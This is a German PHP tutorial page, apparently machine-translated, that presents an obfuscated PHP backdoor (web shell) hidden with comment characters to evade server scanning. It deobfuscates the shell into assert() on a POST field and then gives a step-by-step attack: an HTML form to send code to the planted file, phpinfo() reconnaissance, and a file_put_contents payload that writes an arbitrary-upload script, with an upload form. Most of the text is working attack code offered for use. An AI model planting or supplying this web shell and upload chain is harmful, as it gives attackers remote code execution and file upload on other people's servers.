Heim >Backend-Entwicklung >PHP-Tutorial >Backdoor-Trojaner mit kurzem und verstecktem Code
In diesem Artikel wird ein Backdoor-Trojaner vorgestellt, dessen Code sehr kurz und sehr versteckt ist, sodass jeder bei der Erkennung nicht hängen bleiben kann das Programm.
Der Inhalt der Datei lautet wie folgt:
<code><?php @<span>$_</span>=<span>"s"</span>.<span>"s"</span>./*-<span>/*-*/</span><span>"e"</span>./*-<span>/*-*/</span><span>"r"</span>; @<span>$_</span>=<span>/*-/</span>*-*<span>/"a"./</span>*-<span>/*-*/</span><span>$_</span>./*-<span>/*-*/</span><span>"t"</span>; @<span>$_</span>/*-<span>/*-*/</span>(<span>$/</span>*-<span>/*-*/</span>{<span>"_P"</span>./*-<span>/*-*/</span><span>"OS"</span>./*-<span>/*-*/</span><span>"T"</span>} [<span>/*-/</span>*-*<span>/0/</span>*-<span>/*-*/</span>-<span>/*-/</span>*-*<span>/2/</span>*-<span>/*-*/</span>-<span>/*-/</span>*-*<span>/5/</span>*-<span>/*-*/</span>]);?></code>
Der Code enthält viele Kommentarzeichen, die schwer zu erkennen wären, wenn das Erkennungsprogramm des Servers nicht streng ist.
Nach dem Löschen der Kommentare lautet der Code wie folgt:
<code><span><span><?php</span> @<span>$_</span>=<span>"s"</span>.<span>"s"</span>.<span>"e"</span>.<span>"r"</span>; @<span>$_</span>=<span>"a"</span>.<span>$_</span>.<span>"t"</span>; @<span>$_</span>(${<span>"_P"</span>.<span>"OS"</span>.<span>"T"</span>} [<span>0</span>-<span>2</span>-<span>5</span>]); <span>?></span></span></code>
Der tatsächlich ausgeführte endgültige Code lautet:
<code><span><span><?php</span> assert(${<span>"_POST"</span>}[-<span>7</span>]); <span>?></span></span></code>
Es stellt sich heraus, dass diese Hintertür PHP verwendet assert-Methode zum Ausführen des Programms.
<code><span>bool</span><span>assert</span> ( mixed $assertion [, <span>string</span> $description ] ) </code>
assert() prüft die angegebene Behauptung und ergreift entsprechende Maßnahmen, wenn das Ergebnis FALSCH ist.
Wenn es sich bei der Assertion um einen String handelt, wird er von Assert() als PHP-Code ausgeführt.
Wenn der Inhalt von $assertion phpinfo(); ist, werden die Serverinformationen zurückgegeben, sodass der Angreifer die Serverinformationen für die erhalten kann Angriff.
Nach dem Hochladen dieser Hintertür muss der Angreifer nur noch einen einfachen HTML-Code erstellen, um PHP-Anweisungen auf dem Server auszuführen.
Angenommen, die Backdoor-Datei ist backdoor.php
<code><span><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"></span><span><<span>html</span>></span><span><<span>head</span>></span><span><<span>title</span>></span> back door <span></<span>title</span>></span><span></<span>head</span>></span><span><<span>body</span>></span><span><<span>form</span><span>name</span>=<span>"form1"</span><span>method</span>=<span>"post"</span><span>action</span>=<span>"http://www.example.com/backdoor.php"</span>></span><span><<span>p</span>></span><span><<span>textarea</span><span>name</span>=<span>"-7"</span><span>style</span>=<span>"width:500px; height:300px"</span>></span><span></<span>textarea</span>></span><span></<span>p</span>></span><span><<span>p</span>></span><span><<span>input</span><span>type</span>=<span>"submit"</span><span>value</span>=<span>"submit"</span>></span><span></<span>p</span>></span><span></<span>form</span>></span><span></<span>body</span>></span><span></<span>html</span>></span></code>
Angriffsmethode:
1. Um Serverinformationen zu erhalten, geben Sie
<code><span>phpinfo()</span>;</code>
ein. 2. Um ein PHP zu erstellen, das Dateien nach Belieben hochladen kann, geben Sie
<code>file_put_contents(<span>'hack.php'</span>, <span>'<?php move_uploaded_file($_FILES[\'</span>name\<span>'][\'</span>tmp_name\<span>'], dirname(__FILE__).\'</span>/dest.php\<span>');?>'</span> ,<span>true</span>);</code>
ein und erstellen Sie dann einen HTML-Code zum Hochladen von Dateien mit dem Aufruf „Hack“. .php
<code><span><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"></span><span><<span>html</span>></span><span><<span>head</span>></span><span><<span>title</span>></span> upload <span></<span>title</span>></span><span></<span>head</span>></span><span><<span>body</span>></span><span><<span>form</span><span>name</span>=<span>"form1"</span><span>method</span>=<span>"post"</span><span>action</span>=<span>"http://www.example.com/hack.php"</span><span>enctype</span>=<span>"multipart/form-data"</span>></span><span><<span>p</span>></span><span><<span>input</span><span>type</span>=<span>"file"</span><span>name</span>=<span>"name"</span>></span><span></<span>p</span>></span><span><<span>p</span>></span><span><<span>input</span><span>type</span>=<span>"submit"</span><span>value</span>=<span>"submit"</span>></span><span></<span>p</span>></span><span></<span>form</span>></span><span></<span>body</span>></span><span></<span>html</span>></span></code>
Danach können Sie die PHP-Datei hochladen und nach Belieben ausführen.
Urheberrechtserklärung: Dieser Artikel ist ein Originalartikel des Bloggers und darf nicht ohne die Erlaubnis des Bloggers reproduziert werden.
Das Obige stellt den Backdoor-Trojaner mit einem kurzen und versteckten Code vor, einschließlich des relevanten Inhalts. Ich hoffe, er wird für Freunde hilfreich sein, die sich für PHP-Tutorials interessieren.